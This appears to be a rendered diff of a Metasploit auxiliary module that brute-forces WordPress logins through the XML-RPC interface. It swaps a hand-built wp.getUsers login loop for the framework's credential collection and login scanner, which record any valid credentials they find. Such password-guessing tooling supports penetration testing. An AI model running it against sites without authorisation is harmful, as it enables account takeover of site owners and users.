8
8
##
9
9
10
10
require 'msf/core'
11
+ require 'metasploit/framework/credential_collection'
12
+ require 'metasploit/framework/login_scanner/wordpress_rpc'
13
+
14
+
11
15
class Metasploit3 < Msf ::Auxiliary
12
16
include Msf ::HTTP ::Wordpress
13
17
include Msf ::Auxiliary ::Scanner
@@ -64,18 +68,6 @@ def xmlrpc_enabled?
64
68
return false
65
69
end
66
70
67
- def generate_xml_request ( user , pass )
68
- xml = "<?xml version=\" 1.0\" encoding=\" iso-8859-1\" ?>"
69
- xml << '<methodCall>'
70
- xml << '<methodName>wp.getUsers</methodName>'
71
- xml << '<params><param><value>1</value></param>'
72
- xml << "<param><value>#{ user } </value></param>"
73
- xml << "<param><value>#{ pass } </value></param>"
74
- xml << '</params>'
75
- xml << '</methodCall>'
76
- xml
77
- end
78
-
79
71
def run_host ( ip )
80
72
print_status ( "#{ peer } :#{ wordpress_url_xmlrpc } - Sending Hello..." )
81
73
if xmlrpc_enabled?
@@ -86,62 +78,50 @@ def run_host(ip)
86
78
end
87
79
88
80
print_status ( "#{ peer } - Starting XML-RPC login sweep..." )
89
- each_user_pass do |user , pass |
90
- do_login ( user , pass )
91
- end
92
- end
93
81
94
- def do_login ( user , pass )
95
- vprint_status ( "Trying username:'#{ user } ' with password:'#{ pass } '" )
96
- xml_req = generate_xml_request ( user , pass )
97
- begin
98
- res = send_request_cgi (
99
- {
100
- 'uri' => wordpress_url_xmlrpc ,
101
- 'method' => 'POST' ,
102
- 'data' => xml_req
103
- } , 25 )
104
- http_fingerprint ( response : res )
105
- rescue ::Rex ::ConnectionError , Errno ::ECONNREFUSED , Errno ::ETIMEDOUT
106
- print_error ( "#{ peer } - HTTP Connection Failed, Aborting" )
107
- return :abort
108
- end
82
+ cred_collection = Metasploit ::Framework ::CredentialCollection . new (
83
+ blank_passwords : datastore [ 'BLANK_PASSWORDS' ] ,
84
+ pass_file : datastore [ 'PASS_FILE' ] ,
85
+ password : datastore [ 'PASSWORD' ] ,
86
+ user_file : datastore [ 'USER_FILE' ] ,
87
+ userpass_file : datastore [ 'USERPASS_FILE' ] ,
88
+ username : datastore [ 'USERNAME' ] ,
89
+ user_as_pass : datastore [ 'USER_AS_PASS' ] ,
90
+ )
109
91
110
- unless res
111
- print_error ( "#{ peer } - Connection timed out, Aborting" )
112
- return :abort
113
- end
92
+ scanner = Metasploit ::Framework ::LoginScanner ::WordpressRPC . new (
93
+ host : ip ,
94
+ port : rport ,
95
+ uri : wordpress_url_xmlrpc ,
96
+ proxies : datastore [ "PROXIES" ] ,
97
+ cred_details : cred_collection ,
98
+ stop_on_success : datastore [ 'STOP_ON_SUCCESS' ] ,
99
+ connection_timeout : 5 ,
100
+ )
114
101
115
- if res . code != 200
116
- vprint_error ( "#{ peer } - FAILED LOGIN - #{ user . inspect } :#{ pass . inspect } " )
117
- return :skip_pass
102
+ scanner . scan! do |result |
103
+ credential_data = result . to_h
104
+ credential_data . merge! (
105
+ module_fullname : self . fullname ,
106
+ workspace_id : myworkspace_id
107
+ )
108
+ case result . status
109
+ when Metasploit ::Model ::Login ::Status ::SUCCESSFUL
110
+ print_brute :level => :good , :ip => ip , :msg => "Success: '#{ result . credential } '"
111
+ credential_core = create_credential ( credential_data )
112
+ credential_data [ :core ] = credential_core
113
+ create_credential_login ( credential_data )
114
+ :next_user
115
+ when Metasploit ::Model ::Login ::Status ::UNABLE_TO_CONNECT
116
+ print_brute :level => :verror , :ip => ip , :msg => "Could not connect"
117
+ invalidate_login ( credential_data )
118
+ :abort
119
+ when Metasploit ::Model ::Login ::Status ::INCORRECT
120
+ print_brute :level => :verror , :ip => ip , :msg => "Failed: '#{ result . credential } '"
121
+ invalidate_login ( credential_data )
122
+ end
118
123
end
119
124
120
- # TODO: add more error codes
121
- if res . body =~ /<value><int>403<\/ int><\/ value>/
122
- vprint_error ( "#{ peer } - FAILED LOGIN - #{ user . inspect } :#{ pass . inspect } " )
123
- return :skip_pass
124
-
125
- elsif res . body =~ /<value><int>-32601<\/ int><\/ value>/
126
- print_error ( 'Server error: Requested method `wp.getUsers` does not exists. -- Aborting' )
127
- return :abort
128
-
129
- elsif res . body =~ /<value><int>401<\/ int><\/ value>/ || res . body =~ /<name>user_id<\/ name>/
130
- print_good ( "#{ peer } - SUCCESSFUL LOGIN - #{ user . inspect } :#{ pass . inspect } " )
131
- # If verbose set True, dump xml response
132
- vprint_good ( "#{ res } " )
133
-
134
- report_hash = {
135
- host : rhost ,
136
- port : rport ,
137
- sname : 'wordpress-xmlrpc' ,
138
- user : user ,
139
- pass : pass ,
140
- active : true ,
141
- type : 'password' }
142
-
143
- report_auth_info ( report_hash )
144
- return :next_user
145
- end
146
125
end
126
+
147
127
end
0 commit comments